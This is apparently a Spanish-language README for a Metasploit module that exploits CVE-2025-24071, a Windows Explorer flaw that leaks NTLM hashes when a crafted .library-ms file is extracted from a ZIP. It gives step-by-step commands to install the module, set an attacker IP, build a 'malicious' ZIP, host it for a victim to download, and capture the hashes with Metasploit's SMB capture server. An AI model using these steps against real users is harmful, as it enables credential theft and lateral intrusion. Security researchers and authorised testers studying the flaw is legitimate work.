CVE-2025-24071-msfvenom

CVE-2025-24071: Fuga de Hash NTLM a través de Archivo .library-ms (Módulo de Metasploit)

Este repositorio contiene un módulo de Metasploit para explotar CVE-2025-24071, una vulnerabilidad en el Explorador de Windows que filtra hashes NTLM cuando un archivo malicioso .library-ms se extrae de un archivo ZIP.

Desarrollado por: FOLKS-IWD

---

Resumen

La vulnerabilidad ocurre cuando un usuario extrae un archivo ZIP que contiene un archivo .library-ms especialmente manipulado. El Explorador de Windows inicia automáticamente una solicitud de autenticación SMB a un servidor remoto especificado en el archivo, filtrando el hash NTLM del usuario sin ninguna interacción.

Este módulo de Metasploit:

1. Genera un archivo .library-ms malicioso.
2. Lo empaqueta en un archivo ZIP.
3. Se integra con la funcionalidad de captura SMB de Metasploit para recolectar hashes NTLM.

---

Instalación

1. Clona el repositorio:

   git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
   cd CVE-2025-24071-msfvenom
   

2. Copia el módulo a tu directorio de módulos de Metasploit:

   cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
   

Uso

1. Carga el módulo:

   use auxiliary/server/ntlm_hash_leak
   

2. Establece las opciones requeridas:

   set ATTACKER_IP 192.168.1.162  # Replace with your IP address
   set FILENAME exploit.zip       # Name of the malicious ZIP file
   set LIBRARY_NAME malicious.library-ms  # Name of the .library-ms file
   set SHARE_NAME shared          # SMB share name
   

3. Ejecuta el módulo :

  run

4. El módulo generará un archivo ZIP malicioso (exploit.zip). Aloja este archivo para que la víctima lo descargue y lo extraiga.
5. Usa el módulo de captura SMB de Metasploit para recolectar hashes NTLM:

   use auxiliary/server/capture/smb
   set SRVHOST 192.168.1.162  # Same as ATTACKER_IP
   run